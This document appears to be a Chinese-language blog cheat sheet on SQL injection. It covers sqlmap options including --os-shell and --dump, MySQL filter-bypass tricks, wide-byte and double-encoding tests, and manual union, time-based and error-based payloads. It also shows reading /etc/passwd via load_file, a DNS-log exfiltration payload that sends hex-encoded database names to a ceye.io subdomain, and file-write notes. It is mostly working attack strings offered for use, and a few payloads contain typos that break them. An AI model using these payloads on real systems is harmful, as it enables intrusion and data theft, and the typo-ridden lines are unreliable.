SQL注入相关知识
0x01 sqlmap相关命令说明
-
-u "url"
:判断给定的url有无注入点 -
--dbs
:发现注入点后获取网站数据库中的数据库信息 -
-D "Db_name"
:指定要查询的数据库名 -
--tables
:发现注入点后查看网站指定数据库中的表的信息 -
-T "table_name"
:发现注入点后指定要使用的数据库中的表名 -
--columns
:发现注入点后获取要查询的表的所有列 -
-C "cloumn_name"
:发现注入点后指定要查询的列名 -
--current-db
:获取注入点处所在的数据库名 -
--current_user
:获取注入点处所使用的用户名 -
--sql-shell
:获取一个执行sql语句的shell -
--dbms "mysql"
:指定数据库的类型,以便sqlmap使用对应的payload -
--search
:数据库或者表很多时,可采用该字段搜索对应的字段,如-D db_user --search -C password
-
-l 5 -r 3
:设定对应的level和risk等级,其中 :
level>=2时,sqlmap会测试cookie
level>=3时,sqlmap会测试user-agent,referer
level>=5时,sqlmap会测试host
高等级的level会包含低等级level的测试,当等级大于5时,sqlmap的请求数量将会超过1000
risk 1 会测试大部分的测试语句
risk 2 会添加基于事件的测试语句
risk 3 会增加or语句的SQL注入测试
高等级的risk会包含低等级的注入测试
-
-r file.txt -p username
:可以直接使用Burp抓取的数据包(file.txt)进行测试,-p
可以指定参数 -
--cookie=""
:携带cookie进行注入 -
--data=""
:post型注入时需要携带参数 -
--dump -D "" -T ""
:下载表中数据 -
--prefix ")))"
:在每次注入的payload之前都添加指定的值 -
--suffix --
:在每次注入的payload之后都添加指定的值 -
--no-cast
:不使用代用cast函数的payload -
--hex
:手动指定使用HEX编码的形式来注入 -
--os-shell
:获取一个系统交互shell
0x02 mysql注入字符过滤绕过
注意:mysql5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名
(1)字符过滤绕过
-
and
、or
等关键字可以等价替换为&&
、||
- HEX编码绕过
- 字符大小写绕过
-
%00
截断,需要php版本 < 5.3.4 -
/**/
注释符绕过 - 转换为URL编码
- 使用mysql函数
char
、concat
、updatexml
、extractvalue
- 空格绕过:
%09
、%0A
、%0C
、%0D
,在sqlmap的tamper脚本space2randomblank.py
中可直接调用 - 逗号过滤:
union select * from (selecr 1)a join (select 1)b join (select database())c
(2)宽字节注入
需要先验证数据库编码是否为GBK编码,然后在参数出添加%DF
进行验证
(3)二次编码注入
在参数后使用%2527
进行验证
(4)手工注入
合并到一行输出:group_concat()
查询所有数据库名:
select group_concat(schema_name) from information_schema.schema
查询所有表名:
select group_concat(table_name) from information_schema.tables where table_schema=database()
查询所有列名:
select group_concat(column_name) from information_schema.columns where table_name=表名
必要时可以使用
order by 列名
手工延时注入:if(left(user(),1)='a',sleep(3),0)
表示如果用户名第一位是a时延时3秒,不是a时直接返回
(5)报错(回显)注入:
-
updatexml
和extractvalue
报错注入显示的长度最多32位,超过就不会显示,可以使用substr()
进行截取显示
select extractvalue(1,concat(0x7e,select user())) #0x7e 是 ~
extractvalue(1,2)
# 函数会将第二个参数识别为Xpath语法,所以英文字母和数字开头将会被识别为正确
# 需要concat函数将一个字符放在第一位来避免这种情况
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
-
exp
:mysql5.5.5以上
# 普通查询
select exp(~(select * from(select user())x))
# 查表名
select exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x))
# 查列名
select exp(~(select * from (select column_name from information_schema.columns where table_name='' limit 0,1)x))
-
floor
:需要三个字段count(*)、rand()、group by,参考https://www.jianshu.com/p/8c2343705100
select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
mysql提权:select load_file('/etc/passwd')
(6)dnslog注入
注:MySql的dnslog外带只能在windows机器上执行,因为这里使用的是以UNC形式进行读取的,而linux不支持UNC
select LOAD_FILE(concat('\\\\',(select hex(datbase())),'.mysql.xxxxx.ceye.io'))
可以使用hex对查询结果进行十六位编码后传输
0x03 mysql 函数说明
函数名 | 作用 | 举例 |
---|---|---|
system_user() | 查询系统用户名 | |
user() | 用户名 | |
current_user() | 当前用户名 | |
session_user() | 连接数据库的用户名 | |
database() | 数据库名 | |
version() | 数据库版本 | |
@@datadir | 数据库路径 | |
@@basedir | 数据库安装路径 | |
@@version_compile_os | 操作系统 | |
count() | 返回执行结果数量 | |
concat() | 没有分隔符地连接字符串 | |
concat_ws() | 含有分隔符地连接字符串 | concat_ws(':',username) ,concat_ws(0x7e,username) |
group_concat() | 连接一个组的所有字符串,并以逗号分隔每一条数据 | |
load_file() | 读取本地文件 | |
into outfile | 写文件 | select 'mysql' into outfile '/tmp/1.txt' |
ascii() | 字符串的ASCII码值 | |
ord() | 返回字符串第一个字符的ASCII值 | |
mid() | 返回一个字符串的一部分 | mid('mysql',1,1):起始位置和长度 |
substr() | 返回一个字符串的一部分 | 同mid() |
length() | 返回字符串的长度 | |
left() | 返回字符串的最左边几个字符 | left('mysql',2) |
floor() | 返回小于或等于x的最大整数 | |
rand() | 返回0和1之间的一个随机数 | |
extractvalue() | 1.XML文档对象的名称 2.Xpath格式的字符串:从目标XML中返回包含所查询值的字符串 | |
updatexml() | 1.xml文档对象的名称 2.Xpath格式的字符串 3.替换查找到的符合条件的数据 | |
sleep() | 让此语句N秒钟后再运行 | sleep(N) |
if() | 判断某语句是否正确执行并给出结果 | select if(1>2,2,3); -> 3 |
char() | 返回整数ASCII代码字符组成的字符串 | |
strcmp() | 比较字符串内容,相同为0,不相同为1 | strcmp('a','b') |
ifnull() | 加入参数1不为NULL,则返回值为参数1,否侧返回值为参数2 | ifnull(1,2) |
exp() | 返回e的x次方 | |
regexp | 正则表达式 | select user() regexp '^r' 作用同like |
0x04 mysql之文件读写
读写文件受secure_file_priv
配置限制:
-
NULL
:MySQL服务器将禁用导入和导出操作,即无法读取和写入任何文件 -
空
:值为空代表该项配置无效 -
目录名
:MySql服务器的导入和导出操作将被限制在配置的目录中
可以通过命令show variables like '%secure_file_priv%'
来查看secure_file_prive变量的值,该值也可以在my.conf中配置生效
- 写文件
-
into dumpfile()
只能导出一行 -
into outfile()
可以导出多行
先将需要写入的内容进行HEX编码(https://www.107000.com/T-Hex/),然后再执行如下sql语句即可(需要考虑目录是否有写文件权限)
/tmp
- 读文件
load_file()
具体可参考我的另一篇文章。